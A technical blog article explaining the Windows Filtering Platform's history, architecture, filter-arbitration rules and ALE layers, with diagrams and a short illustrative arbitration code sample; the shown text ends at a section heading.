Parag Mali - tag: kernel

Windows Filtering Platform: The Kernel-Mode Firewall You Don't See

noreply@paragmali.com (Parag Mali) — Tue, 12 May 2026 00:00:00 GMT

Open wf.msc. Right-click "Inbound Rules," click "New Rule," fill in the form, click OK. You think you just configured a firewall. What you actually did was register one filter, inside one sublayer, at one of roughly sixty filtering layers in the kernel-mode classification path of a platform you have never named. The same platform is also running IPsec, container networking, Microsoft Defender for Endpoint's network protection, and every third-party EDR's network-telemetry pipeline on the Windows host you are using right now.

The Windows Filtering Platform (WFP) is the kernel- and user-mode service Microsoft shipped with Windows Vista in November 2006 to replace four mutually-incompatible XP-era hooks: NDIS intermediate drivers, the filter-hook IOCTL on `\Device\Ipfilterdriver`, Winsock Layered Service Providers, and TDI filter drivers. It is the substrate beneath Windows Defender Firewall, Windows IPsec, WinNAT, the Hyper-V Extensible Switch, Defender for Endpoint Network Protection, and every third-party EDR's network telemetry. WFP is not a firewall. It is the platform that a firewall is one consumer of. It arbitrates competing security products deterministically through 64-bit filter weights inside priority-ordered sublayers, and that arbitration model is the load-bearing reason third-party callouts can finally coexist on the same host. The same kernel-extensibility tax that doomed the pre-WFP hooks now resurfaces as a steady drip of Base Filtering Engine elevation-of-privilege CVEs (CVE-2023-29368, CVE-2024-38034) -- the running cost of a platform sophisticated enough to host every downstream network-security feature Windows ships.

1. You Just Clicked OK on Sixty Filtering Layers

The firewall UI is the visible one percent of WFP. Almost every modern Windows network-security feature is a configuration of the same engine.

That is the central claim of this article, and it is the kind of statement that sounds like marketing until you trace the actual wires. Trace them once and you stop seeing "Windows Defender Firewall" and "IPsec" and "Windows containers" as separate products. They are all clients of the same kernel/user-mode service, configuring the same filter engine, arbitrated by the same Base Filtering Engine, classified across the same approximately sixty FWPM_LAYER_* identifiers [@wfp-layers].

Microsoft's cross-mode network-traffic filtering service introduced in Windows Vista and Windows Server 2008. WFP "is designed to replace previous packet filtering technologies such as Transport Driver Interface (TDI) filters, Network Driver Interface Specification (NDIS) filters, and Winsock Layered Service Providers (LSP)" [@wfp-start]. The platform has five components: the Filter Engine, the Base Filtering Engine, a set of kernel-mode shims, callout drivers, and the management API [@wfp-about]. A Windows service named `bfe` that, in Microsoft's own words, "controls the operation of the Windows Filtering Platform" and "plumbs configuration settings to other modules in the system. For example, IPsec negotiation polices go to IKE/AuthIP keying modules, filters go to the filter engine" [@wfp-about]. The BFE is not the Windows Firewall. The Windows Firewall is a separate service (`MpsSvc`) that talks to the BFE.

The naming is the first thing that trips readers. There is a service called BFE and a service called MpsSvc. They live in different rows of Get-Service output. They have different binary backings. The dependency arrow runs one way: MpsSvc requires BFE, never the other direction. That asymmetry, which seems pedantic, turns out to be load-bearing for the rest of the story. WFP is the platform. The firewall is a tenant.

Key idea: The firewall UI is the visible one percent of WFP. Almost every modern Windows network-security feature -- Windows Defender Firewall with Advanced Security, Windows IPsec, WinNAT and container networking, the Hyper-V Extensible Switch, Microsoft Defender for Endpoint Network Protection, every third-party EDR with a network filter -- is a configuration of the same engine [@forshaw-2021].

If WFP is the engine, what was there before it? Why did Microsoft need to build a platform when Windows XP SP2 had already shipped a firewall?

2. Before WFP -- An Internet on Fire

April 2004. Sasser is propagating through the LSASS RPC interface on port 445, infecting unpatched Windows machines within minutes of their first cable plug. Microsoft has just shipped Windows XP SP2, with the Internet Connection Firewall rebranded as "Windows Firewall" and turned on by default for the first time [@wiki-winfw].Wikipedia notes that "the ongoing prevalence of these worms through 2004 resulted in unpatched machines being infected within a matter of minutes," and that Microsoft "switched it on by default since Windows XP SP2." XP SP2 reached general availability on August 25, 2004 [@wiki-winfw]. That fixed the worm problem. It did not fix the plumbing problem.

The plumbing problem was that third-party security vendors were already hooking the Windows network stack at four different, mutually incompatible places, none of which arbitrated with the others. ZoneAlarm, Norton Internet Security, McAfee, Kerio, Check Point, BlackICE, and a dozen others were shipping kernel drivers that bolted onto Windows wherever they could find a callable surface [@wiki-winfw][@forshaw-2021]. They picked four families.

Network Driver Interface Specification (NDIS) intermediate drivers. NDIS 5.x exposed a profile called the intermediate driver that sat below the protocol stack and above the miniport. A vendor could install a driver that saw every Ethernet frame on the way up and every IP packet on the way down. The price was complexity: NDIS intermediate drivers had to participate in the entire NDIS binding state machine, and Microsoft's own documentation later admitted that the model was painful enough that the platform team replaced it with the much simpler NDIS Lightweight Filter (LWF) in NDIS 6.0 [@ndis-filter].

Filter-hook drivers on \Device\Ipfilterdriver. The IP filter driver exposed a single IOCTL, IOCTL_PF_SET_EXTENSION_POINTER, that registered a single callback function the kernel would invoke on every received or transmitted IP packet [@ipfilter-legacy]. There was one callback pointer per machine. IPv4 only. Network layer only. No documented contract for what happened when a second vendor registered.

Winsock Layered Service Providers (LSPs). A user-mode shim chained into every Winsock application, in process. LSPs had access to per-application context, but their cost was paid in blast radius: Microsoft's own categorisation guide warned that "certain system critical processes such as winlogon and lsass create sockets" and that "a number of cases have also been documented where buggy LSPs can cause lsass.exe to crash. If lsass crashes, the system forces a shutdown" [@lsp-categories].

A user-mode DLL that chains into the Winsock service-provider stack of every process that opens a socket. LSPs were the Windows mechanism for content inspection and per-application network rules before Vista. They are still installable, but Microsoft's documentation now categorises which processes must not load them because of the lsass-crash failure mode [@lsp-categories].

TDI filter drivers. The Transport Driver Interface, the legacy kernel interface above TCP/IP, supported a filter-driver pattern that preserved application identity and could veto connections at the transport. It was the cleanest of the four options. It also stopped being a viable target the moment Microsoft deprecated TDI in Vista: "The TDI feature is deprecated and will be removed in future versions of Microsoft Windows. Depending on how you use TDI, use either the Winsock Kernel (WSK) or Windows Filtering Platform (WFP)" [@tdi-legacy].

Four hooks, four failure modes, no arbitration between any of them. In May 2006 Madhurima Pawar and Eric Stenson of Windows Networking walked the WinHEC audience through one number that captured the consequence: firewall and antivirus conflicts accounted for 12 percent of all Windows operating-system crashes [@pawar-stenson-winhec].

Reduces firewall and anti-virus crashes -- 12% of all OS crashes. -- Madhurima Pawar and Eric Stenson, WinHEC 2006 [@pawar-stenson-winhec]

That is the design motivation for WFP in twelve words. The XP-era hook zoo was not a security architecture; it was a steady source of bluescreens. Microsoft's documentation reads, looking back at the era from Vista: "Starting in Windows Server 2008 and Windows Vista, the firewall hook and the filter hook drivers are not available; applications that were using these drivers should use WFP instead" [@wfp-start]. As Forshaw later summarised it, "these firewalls were implemented by hooking into Network Driver Interface Specification (NDIS) drivers or implementing user-mode Winsock Service Providers but this was complex and error prone" [@forshaw-2021].

flowchart TD NIC[Physical NIC] --> MINI[NDIS miniport driver] MINI --> IM["NDIS 5.x intermediate driver
(hook #1: NDIS-IM)"] IM --> TCPIP[TCPIP.SYS] TCPIP -.-> IPF["\Device\Ipfilterdriver
(hook #2: filter-hook IOCTL)"] TCPIP --> TDI["TDI transport providers"] TDI --> TDIF["TDI filter driver
(hook #3: TDI filter)"] TDIF --> AFD[AFD.SYS] AFD --> WS2[ws2_32.dll Winsock] WS2 --> LSP["Winsock LSP chain
(hook #4: in-process LSP)"] LSP --> APP[Application]

So why didn't Microsoft just fix the hooks? Why a whole new platform?

3. Why Four Hooks Could Not Be Saved

Picture a Windows XP machine in 2005, four months past SP2. The user, doing what users do, installs two antivirus suites: one from a free trial that came with the laptop, one from work. Each ships a kernel driver. Each one calls IOCTL_PF_SET_EXTENSION_POINTER on \Device\Ipfilterdriver to register a packet-inspection callback [@ipfilter-legacy]. An hour later the machine bluescreens during a Windows Update download.

The Microsoft documentation for the IOCTL is precise about what the call does ("registers filter-hook callback functions to the IP filter driver to inform the IP filter driver to call those filter hook callbacks for every IP packet that is received or transmitted") and silent about what happens if a second driver makes the same call before the first one unregisters [@ipfilter-legacy]. The page does not document chaining semantics. There is no mention of a registration list, a callback array, a refcount, or a priority. The driver writers got to invent that themselves, separately, in shipped products. The crash reports speak for the result.

Note: Microsoft Learn documents the filter-hook registration mechanism on \Device\Ipfilterdriver exactly once, in the legacy reference for IOCTL_PF_SET_EXTENSION_POINTER [@ipfilter-legacy]. The page tells you how to register a callback. It does not tell you what happens when two callers register concurrently. That gap is the architectural bug. The 12-percent-of-OS-crashes number from WinHEC 2006 is the bill [@pawar-stenson-winhec].

Each of the four pre-WFP hooks had a specific architectural flaw. Together those flaws define what WFP had to be.

Filter-hook (IpFilterDriver). One callback pointer per machine; no arbitration; IPv4 only; network layer only. Two security products fight over one callback, and there is no documented way to chain them. Failure: arbitration impossible, vendor coexistence accidental.

NDIS 5.x intermediate driver. High complexity, no application identity (it sees frames, not processes), install-order-dependent binding chains. Microsoft's own assessment of the model, written for the LWF replacement that came in 2006, is: "Filter drivers are easier to implement and have less processing overhead than NDIS intermediate drivers" [@ndis-filter]. Failure: too low for app-aware policy, too painful to write.

TDI filter. Preserved application identity. Vetoed connections at the transport boundary. Architecturally the cleanest of the four. Then Microsoft deprecated TDI in Vista [@tdi-legacy] and the substrate evaporated. Failure: the floor disappeared.

Winsock LSP. In-process. User mode. Bypassable by any program that called Nt* system services directly. And, as the Microsoft categorisation page documents, a buggy LSP that crashes LSASS will take down the entire machine [@lsp-categories]. Failure: in process, bypassable, lethal when buggy.

Pre-WFP hook	Layer	App identity	Multi-vendor	Failure mode	Successor
Filter-hook (`IpFilterDriver`)	Network (L3)	No	No documented contract for chaining	Arbitration impossible [@ipfilter-legacy]	WFP filter at `INBOUND_IPPACKET_*`
NDIS 5.x intermediate	Data link (L2)	No	Install-order dependent	Too low for app-aware rules; complex [@ndis-filter]	NDIS Lightweight Filter (LWF)
TDI filter	Transport (L4)	Yes	Yes (chainable)	Substrate deprecated in Vista [@tdi-legacy]	WFP ALE + Winsock Kernel (WSK)
Winsock LSP	Above sockets (user mode)	Yes	Chainable in-process	In-process bypass; lsass blast radius [@lsp-categories]	WFP ALE; LSP retained for non-security uses

Walk those failure modes column by column and a design constraint set falls out. Whatever Microsoft was going to build had to:

Arbitrate multiple vendors deterministically. No more "first IOCTL wins."
Carry application identity through to the inspection point.
Concentrate inspection at one platform, not four.
Run out of process where possible. A buggy callout cannot be allowed to take down LSASS.
Resolve conflicts predictably, with rules a third-party developer can read and design against.

sequenceDiagram participant A as Vendor A installer participant B as Vendor B installer participant K as \Device\Ipfilterdriver participant P as IP packet path A->>K: IOCTL_PF_SET_EXTENSION_POINTER(callback_A) Note over K: callback = callback_A B->>K: IOCTL_PF_SET_EXTENSION_POINTER(callback_B) Note over K: callback = callback_B (no chaining contract) P->>K: packet arrives K->>B: callback_B(packet) Note over A: callback_A no longer invoked, vendor A stops working A->>K: re-register callback_A Note over K: race: pointer flips again K--xP: inconsistent state, BSOD

Vista shipped November 2006. What did the architects build to satisfy all five constraints at once?

4. The Evolution -- Five Generations of WFP

May 23-25, 2006, Seattle. Madhurima Pawar, Program Manager in Windows Networking, and Eric Stenson, Development Lead in Windows Networking, stand in front of a hostile room of third-party firewall ISVs at WinHEC and present "Windows Filtering Platform And Winsock Kernel: Next-Generation Kernel Networking APIs." Slide 6 carries the design motivation that this article opened on: 12 percent of all OS crashes are firewall and AV conflicts. Slide 7 carries the architecture diagram [@pawar-stenson-winhec]. Six months later Vista shipped, with the filter-hook and firewall-hook drivers gone from the system and a new platform in their place [@wfp-start].Windows Vista was released to manufacturing on November 8, 2006, and made generally available to consumers on January 30, 2007 [@wiki-vista].

Generation 1: WFP v1 in Vista and Server 2008

WFP v1 introduced five named components. They are still the components the platform ships today. Microsoft's own "About Windows Filtering Platform" page enumerates them: the Filter Engine ("the core multi-layer filtering infrastructure, hosted in both kernel-mode and user-mode"); the Base Filtering Engine ("a service that controls the operation of the Windows Filtering Platform"); shims ("kernel-mode components that reside between the kernel-mode network stack and the filter engine"); callout drivers; and the management API [@wfp-about].

The core of WFP. Microsoft's WDK reference defines it as "a component of the Windows Filtering Platform that stores filters and performs filter arbitration. Filters are added to the filter engine at designated filtering layers so that the filter engine can perform the desired filtering action (permit, drop, or a callout). If a filter in the filter engine specifies a callout for the filter's action, the filter engine calls the callout's classifyFn function" [@wfp-filter-engine]. The engine is hosted in both kernel mode and user mode; its kernel classification path runs primarily inside `NETIO.SYS` [@forshaw-2021]. A kernel-mode bridge between a specific network stack module and the WFP filter engine. Vista shipped six shims: the Application Layer Enforcement (ALE) shim, the Transport Layer Module shim, the Network Layer Module shim, the ICMP Error shim, the Discard shim, and the Stream shim [@wfp-about]. Each shim invokes the filter engine at one or more `FWPM_LAYER_*` identifiers when traffic crosses it.

The most consequential of those six shims is ALE.

"A set of Windows Filtering Platform (WFP) kernel-mode layers that are used for stateful filtering" [@wfp-ale]. ALE keeps per-connection state across packets, and -- this is the line that separates ALE from the rest of the platform -- "ALE layers are the only WFP layers where network traffic can be filtered based on the application identity -- using a normalized file name -- and based on the user identity -- using a security descriptor" [@wfp-ale]. ALE is why per-application firewall rules became possible in 2006. It is also the layer that classifies AppContainer connections in modern Windows.

ALE pays for stateful filtering with bandwidth, not latency. The Microsoft Learn page makes the performance claim explicit: at ALE layers, the platform "minimally impacts network performance by processing only the first packet in a connection" [@wfp-about]. Subsequent packets ride the existing flow state. That choice is what lets a per-process firewall rule scale to gigabit network rates.

April 12, 2010. Microsoft ships a Windows Filtering Platform driver hotfix rollup, KB981889, that bundles three previously-separate fixes into one package. The Microsoft Support page enumerates them verbatim [@kb981889]:

KB976759 -- "WFP drivers may cause a failure to disconnect the RDP connection to a multiprocessor computer."

KB979278 -- "Using two Windows Filtering Platform (WFP) drivers causes a computer to crash."

KB979223 -- "A nonpaged pool memory leak occurs when you use a WFP callout driver."

Read KB979278 again. Two WFP drivers cause a crash. The XP-era "two AV vendors fight" bug had survived into the new platform, in a different shape: the WFP arbitration model held -- the conflict between filters was deterministic -- but the callout driver lifecycle had not yet been hardened. That distinction is the structural seed of the BFE elevation-of-privilege CVE class fifteen years later. Section 8 returns to it.

Generation 2: WFP v2 in Windows 8 and Server 2012

Windows 8 and Server 2012 shipped a refresh in 2012. The "What's New in Windows Filtering Platform" page enumerates the delta in four bullets [@wfp-whatsnew]:

"Layer 2 filtering: Provides access to the L2 (MAC) layer, allowing filtering of traffic at that layer. vSwitch filtering: Allows packets traversing a vSwitch to be inspected and/or modified. WFP filters or callouts can be used at the vSwitch ingress and egress. App container management: Allows access to information about app containers and network isolation connectivity issues. IPsec updates: Extended IPsec functionality including connection state monitoring, certificate selection, and key management." [@wfp-whatsnew]

Four features, but the second one -- vSwitch filtering -- is the architecturally significant one. With Windows 8, WFP slid under the Hyper-V Extensible Switch. From that release forward, every Hyper-V VM's packet path is a WFP-extensible classification problem, and the same kernel-mode platform that filters host traffic also filters tenant traffic [@wfp-whatsnew].

Generation 3: Windows 10 ALE redirection (2015-2021)

The Windows 10 family added two ALE layers that did not exist in Vista: CONNECT_REDIRECT and BIND_REDIRECT. The "ALE Layers" page lists them at the bottom of its enumeration [@wfp-ale-layers]. Their job is exactly what their names say -- redirect an outbound connection (proxy it through a different address), or redirect a bind (force a process to bind to a different local endpoint). Web proxies, transparent forwarders, and AppContainer policy now had a kernel-side hook that did not exist before. Forshaw's 2021 Project Zero post documents how the modern Windows Defender Firewall pipeline runs through these layers end-to-end: "MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service. These filters are then uploaded to the TCP/IP driver (TCPIP.SYS) in the kernel... The evaluation is handled primarily by the NETIO driver as well as registered callout drivers" [@forshaw-2021].

Generation 4: URO and the CVE drumbeat (2022-2024)

The most recent generation comes in two parallel tracks. The first is a hardware offload feature. NDIS 6.89, the version of the NDIS driver interface that "is included in Windows 11, version 24H2 and Windows Server 2022 and later," adds support for UDP Receive Segment Coalescing Offload, "this hardware offload enables NICs to coalesce UDP receive segments. NICs can combine UDP datagrams from the same flow that match a set of rules into a logically contiguous buffer. These combined datagrams are then indicated to the Windows networking stack as a single large packet" [@ndis-689]. Windows 11 24H2 reached general availability on October 1, 2024 [@wiki-win11-24h2].

The second track is a sequence of elevation-of-privilege CVEs in the Base Filtering Engine. CVE-2023-29368, published June 14, 2023, is a CWE-415 double-free with a CVSS base of 7.0 [@nvd-2023-29368]. CVE-2024-38034, published July 9, 2024, is a CWE-190 integer overflow with a CVSS base of 7.8 [@nvd-2024-38034]. The 2024 vulnerability's attack-complexity sub-score dropped from AC:H (high) in 2023 to AC:L (low) in 2024. The exploitability sub-score rose from 1.0 to 1.8 over the same interval [@nvd-2023-29368][@nvd-2024-38034]. The trend line is that BFE EoP is getting easier to weaponise, not harder.

flowchart TD UM["User-mode application
(e.g. wf.msc / netsh / MpsSvc)"] --> API["Fwpm* management API
(fwpuclnt.dll)"] API --> BFE["Base Filtering Engine service
(bfe, user mode)"] BFE --> FE["Filter Engine
(kernel + user mode)"] FE --> KCLI["fwpkclnt.sys
(kernel-mode WFP client / export driver)"] FE --> NETIO["NETIO.SYS
(classification path)"] NETIO --> ALE["ALE shim"] NETIO --> TLM["Transport-Layer shim"] NETIO --> NLM["Network-Layer shim"] NETIO --> STREAM["Stream shim"] NETIO --> ICMP["ICMP-Error shim"] NETIO --> DISC["Discard shim"] ALE --> COUT["Callout drivers
(IPsec, in-box stealth, EDR, 3rd-party)"] TLM --> COUT NLM --> COUT STREAM --> COUT ICMP --> COUT DISC --> COUT timeline title Five generations of the Windows Filtering Platform 2006-11 : Windows Vista / Server 2008 -- WFP v1 (filter engine, BFE, six shims, callouts) 2010-04 : KB981889 hotfix rollup -- three named WFP driver bugs, including two-WFP-drivers crash 2012-09 : Windows 8 / Server 2012 -- WFP v2 (L2, vSwitch, AppContainer, IPsec extensions) 2015-21 : Windows 10 -- ALE CONNECT_REDIRECT / BIND_REDIRECT, AppContainer-aware ALE 2023-06 : CVE-2023-29368 published (CWE-415 double-free, CVSS 7.0) 2024-07 : CVE-2024-38034 published (CWE-190 integer overflow, CVSS 7.8) 2024-10 : Windows 11 24H2 -- NDIS 6.89 adds URO (UDP receive coalescing)

Timeline sources, in row order: WinHEC 2006 and the Vista release on the Microsoft Learn WFP start page [@pawar-stenson-winhec][@wfp-start]; KB981889 [@kb981889]; the "What's New" page [@wfp-whatsnew]; ALE Layers [@wfp-ale-layers] and Forshaw 2021 [@forshaw-2021]; the NVD records for CVE-2023-29368 and CVE-2024-38034 [@nvd-2023-29368][@nvd-2024-38034]; NDIS 6.89 introduction and the Windows 11 24H2 GA date [@ndis-689][@wiki-win11-24h2].

Five generations, one engine, no replacements. Why does the same engine still ship in 2026? What is the architectural insight that made it last?

5. Sublayers, Weights, and Veto -- The Arbitration Insight

Here is the question every Windows administrator has wondered: how do two competing security products coexist on the same machine without crashing each other? Before Vista the honest answer was, "they didn't, mostly, and when they did it was an accident." After Vista the honest answer is, "WFP arbitrates them deterministically." The mechanism is the load-bearing piece of the platform, and it is built out of two ideas.

Idea 1: Sublayers and weights

Microsoft's "Filter Arbitration" page describes the algorithm in two sentences that almost no Windows administrator has read:

"Each filter layer is divided into sub-layers ordered by priority (also called weight). Network traffic traverses sub-layers from the highest priority to the lowest priority... Within each sub-layer, filters are ordered by weight. Network traffic is indicated to matching filters from highest weight to lowest weight." [@wfp-arbitration]

A layer (say, FWPM_LAYER_ALE_AUTH_CONNECT_V4, the place where outbound IPv4 TCP connection authorization is decided) contains an ordered list of sublayers. Each sublayer contains an ordered list of filters. Sublayer priority orders the sublayers. Filter weight orders the filters within a sublayer. Network traffic walks the structure top-down, sublayer by sublayer, filter by filter, until a terminal action is reached.

A named, priority-ordered subdivision of a WFP filtering layer. Each sublayer owns a list of filters and has its own GUID. Microsoft's recommendation, in the filter-weight documentation, is that independent vendors "create their own sublayer by using `FwpmSubLayerAdd0`" rather than register filters into another vendor's sublayer [@wfp-weight]. Sublayer priority is what lets two vendors coexist without interfering. A 64-bit value attached to a filter that orders evaluation within a sublayer. The "Filter Weight Assignment" page documents three legal assignment styles: "Set the weight to an FWP_UINT64. BFE uses the supplied weight as is. Set the weight to FWP_EMPTY. BFE automatically generates a weight in the range [0, 2^60). Set the weight to an FWP_UINT8 in the range [0, 15]. BFE uses the supplied weight as a weight range identifier" [@wfp-weight]. Sixteen high-order weight ranges, $[0, 2^{60})$ within each, give vendors a way to carve out non-overlapping neighbourhoods.

The mathematical model is simpler than the prose suggests. Filter weight is an element of $[0, 2^{64})$. A filter at weight $w_1$ runs before a filter at weight $w_2$ inside the same sublayer if $w_1 > w_2$. Sublayer priority orders the sublayers themselves. When a vendor registers its sublayer at, say, priority 0x1000 and chooses filters in the weight range $[2^{60}, 2^{61})$, that vendor has a deterministic neighbourhood that no other vendor will trample, provided the other vendors follow Microsoft's recommendation to call FwpmSubLayerAdd0 and use their own sublayer.The 16-range partitioning via FWP_UINT8 weights is the mechanism that the platform team baked in to give vendors a coordination protocol without requiring vendors to talk to each other. Microsoft Learn's recommendation, verbatim: "This issue can be prevented by having callouts create their own sublayer by using FwpmSubLayerAdd0" [@wfp-weight].

Idea 2: Block-overrides-Permit with Veto

Filter arbitration is actually two passes, not one. Within a single sublayer, the engine evaluates the filters that match in weight order from highest to lowest, and stops at the first filter that returns Permit or Block. That first matching filter wins; lower-weight filters in the same sublayer never run. The engine then performs the same pass on the next sublayer down. Once every sublayer has produced a verdict, the BFE composes those per-sublayer verdicts into one per-layer decision -- and that is where Block-over-Permit and the soft/hard override flag come in. Filter Arbitration states the second pass:

"'Block' overrides 'Permit'. 'Block' is final (cannot be overridden) and stops the evaluation. The packet is discarded." [@wfp-arbitration]

"Block" and "Permit" each come in two variants. The variant is set by a per-action flag, FWPS_RIGHT_ACTION_WRITE, in the callout's classify-output structure: "If the flag is set, it indicates that the action can be overridden. If the flag is absent, the action cannot be overridden" [@wfp-arbitration]. The four-cell table below is the override-policy table the BFE uses to compose per-sublayer verdicts into one layer-level action.

Action	Override allowed?	Common name	What it means
Permit + `FWPS_RIGHT_ACTION_WRITE`	Yes	Soft permit	A lower-priority sublayer's verdict (composed later by the BFE) may overturn it [@wfp-arbitration]
Permit, flag absent	No	Hard permit	Final permit; only a callout Veto in another sublayer can block. [@wfp-arbitration]
Block + `FWPS_RIGHT_ACTION_WRITE`	Yes	Soft block	A lower-priority sublayer may overturn it, but Block-over-Permit still applies if no override fires [@wfp-arbitration]
Block, flag absent	No	Hard block	Final block. Evaluation stops. Packet discarded. [@wfp-arbitration]

The soft/hard distinction is therefore a cross-sublayer property, not a within-sublayer one. Within a sublayer the rule is "first match wins"; only the composition step between sublayers consults the override flag.

There is a fifth case. A callout that returns FWP_ACTION_BLOCK while it could have returned FWP_ACTION_PERMIT is exercising what the documentation calls a Veto. The callout has been given the opportunity to authorize a packet and has refused. That is how a third-party EDR's deep-inspection callout can refuse a flow that an in-box filter has already soft-permitted, without ever knowing the soft-permit happened: the engine offers the packet, the callout says no, and the no is final.

sequenceDiagram participant E as Filter engine participant S1 as Sublayer @ priority 100 (no matching filter) participant S2 as Sublayer @ priority 50 (winner: soft permit) participant S3 as Sublayer @ priority 10 (winner: hard permit) participant C as Deep-inspection callout (registered in default sublayer) E->>S1: evaluate highest-priority sublayer S1-->>E: no matching filter (Continue) E->>S2: evaluate next sublayer S2-->>E: Soft Permit (FWPS_RIGHT_ACTION_WRITE) Note over E: tentative layer action = Permit (overridable) E->>S3: evaluate next sublayer S3-->>E: Hard Permit (no override flag) Note over E: layer action = Permit (final unless a callout vetoes) E->>C: invoke callout for the permitted flow C-->>E: Veto -> Block (terminal) Note over E: final layer-level action = Block

Walk a worked example. An AppContainer process (an Edge tab, say, or any process launched with CreateProcess and an AppContainer SID token) tries to open an outbound TCP connection to 203.0.113.5:443. The Windows TCP/IP stack invokes the ALE shim, which classifies the connection request at FWPM_LAYER_ALE_AUTH_CONNECT_V4. The filter engine walks the sublayers at that layer from highest priority to lowest. Within each sublayer, filters fire highest-weight-first, and the first matching Permit or Block ends evaluation in that sublayer. If a vendor EDR has placed a Veto-style deep-inspection callout in its own sublayer, the callout runs and can deny the connection regardless of what any other sublayer would have done. If no filter explicitly permits the AppContainer with the matching capability SID (internetClient, internetClientServer, or privateNetworkClientServer), the "Block Outbound Default Rule" filter in the firewall's default sublayer fires last and the connection is denied [@forshaw-2021].

{` // Faithful translation of the Microsoft Learn "Filter Arbitration" algorithm // for the cross-sublayer composition pass. The within-sublayer pass (not // shown) returns one verdict per sublayer using a first-match-wins rule on // weight-ordered filters. This function composes those per-sublayer verdicts // into the layer-level action using FWPS_RIGHT_ACTION_WRITE semantics. // Source: https://learn.microsoft.com/en-us/windows/win32/fwp/filter-arbitration

// Each element is the winning verdict from one sublayer, ordered by sublayer // priority from highest to lowest. const sublayerVerdicts = [ // Vendor EDR deep-inspection callout, hard block on a known-bad destination { sublayer: 'EDR-veto', priority: 100n, match: (pkt) => pkt.dst === '203.0.113.5', verdict: () => HARD_BLOCK }, // Windows Defender Firewall app rule, allow-with-override { sublayer: 'WDF-allow', priority: 50n, match: () => true, verdict: () => SOFT_PERMIT }, // Block Outbound Default Rule (BFE default sublayer) { sublayer: 'block-default',priority: 10n, match: () => true, verdict: () => HARD_BLOCK }, ];

console.log(composeAcrossSublayers({ dst: '203.0.113.5' }, sublayerVerdicts)); // -> { decision: 'Block', by: 'EDR-veto' } (hard block at priority 100)

console.log(composeAcrossSublayers({ dst: '198.51.100.7' }, sublayerVerdicts)); // -> { decision: 'Block', by: 'block-default' } (soft permit overridden by hard block) `}

Key idea: Two competing Windows security products coexist on the same host because each one owns its own sublayer, with its own weight neighbourhood. Within a sublayer the BFE picks one winner using "first matching Permit or Block stops evaluation." Across sublayers the BFE composes those winners using "Block overrides Permit, hard actions are final, soft actions can be overridden." Pre-Vista, Windows had filters. Post-Vista, Windows has arbitration.

The engine arbitrates filters deterministically and separates condition-match (the filter) from action (the callout). What does the modern surface look like, in 2026, with two decades of features bolted on top?

6. The Modern WFP Surface

It is 2026. WFP is twenty years old, has never been replaced, and ships under more components than any other Windows networking primitive. Here is what it looks like today.

The filter engine and its kernel client

The filter engine is the same architectural piece WFP v1 shipped with: a cross-mode classifier whose kernel-mode classification path runs primarily inside NETIO.SYS and whose user-mode side runs inside the Base Filtering Engine service host process [@wfp-arch][@forshaw-2021]. Callouts and filter consumers do not link against NETIO.SYS. They link against a different binary.

The kernel-mode WFP client and export driver. Callout drivers and other kernel components link against `fwpkclnt.lib`, whose in-memory module is `fwpkclnt.sys` [@wfp-arch]. The driver is the API surface that callouts use to register, classify, and call back into the engine. The classification path itself, where filters are matched and actions chosen, runs primarily in `NETIO.SYS`. The shorthand "fwpkclnt.sys *is* the filter engine" is common in blog posts and incorrect; the two binaries do different jobs.

The BFE-vs-MpsSvc split is the second confusion to clear. bfe is the Base Filtering Engine, the platform service [@wfp-about]. MpsSvc is the Windows Defender Firewall service, one consumer of the platform. The dependency goes one way: MpsSvc depends on bfe; bfe does not depend on MpsSvc.You can verify the dependency direction on any running Windows box. Get-Service bfe, Get-Service mpssvc, then Get-Service mpssvc | Select-Object -ExpandProperty ServicesDependedOn will list BFE (among others); the reverse query on bfe lists no dependency on mpssvc. Forshaw's 2021 post documents the same arrow from the policy side: "MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service" [@forshaw-2021].

Roughly sixty filtering layers

Microsoft's "Management Filtering Layer Identifiers" reference enumerates about sixty FWPM_LAYER_* GUIDs, organised by shim, direction (inbound, outbound, forward), stage (pre-IPsec, post-IPsec, discard), and IP version (v4 / v6) [@wfp-layers]. The reference page is dense, but reading it once teaches the structure. A small sample of representative layers:

FWPM_LAYER_INBOUND_IPPACKET_V4 and _V6. "Located in the receive path just after the IP header of a received packet has been parsed but before any IP header processing takes place. No IPsec decryption or reassembly has occurred" [@wfp-layers]. The earliest visibility a callout has into a received packet.
FWPM_LAYER_OUTBOUND_IPPACKET_V4 and _V6. The send-path twin.
FWPM_LAYER_IPFORWARD_V4 and _V6. The routing-decision point on a forwarding host [@wfp-layers].
FWPM_LAYER_INBOUND_TRANSPORT_V4 and _V6. After the TCP/UDP/ICMP header has been parsed but before payload delivery [@wfp-layers].
FWPM_LAYER_STREAM_V4 and _V6. The TCP stream layer where reassembled byte streams are visible [@wfp-layers].
FWPM_LAYER_DATAGRAM_DATA_V4 and _V6. Connectionless data delivery (UDP / ICMP) [@wfp-layers].
FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET. Added in Windows 8; the L2 hook the "What's New" page introduced [@wfp-whatsnew].

Each non-DISCARD layer has a DISCARD twin that fires when the engine has decided to drop a packet at that point. Callouts that need to log drops register at the DISCARD layer; callouts that need to inspect or modify register at the non-DISCARD twin [@wfp-layers].

ALE classification

The ALE shim sits across seven FWPM_LAYER_ALE_* filtering layers plus the two redirection layers introduced in the Windows 10 era [@wfp-ale-layers]:

RESOURCE_ASSIGNMENT -- local endpoint assignment (bind).
AUTH_LISTEN -- TCP listen.
AUTH_RECV_ACCEPT -- inbound TCP accept; inbound UDP/ICMP first datagram.
AUTH_CONNECT -- outbound TCP connect; outbound UDP/ICMP first datagram.
FLOW_ESTABLISHED -- the stateful "connection now exists" event.
RESOURCE_RELEASE, ENDPOINT_CLOSURE -- teardown.
CONNECT_REDIRECT, BIND_REDIRECT -- the Windows 10 redirection hooks.

Stateful per-flow context lives in the ALE shim. Application identity at each ALE layer is a normalized file name; user identity is a security descriptor [@wfp-ale]. That pair is what turns "block port 443 outbound" into "block port 443 outbound from chrome.exe running as user S-1-5-21-...."

In-box callouts and downstream features

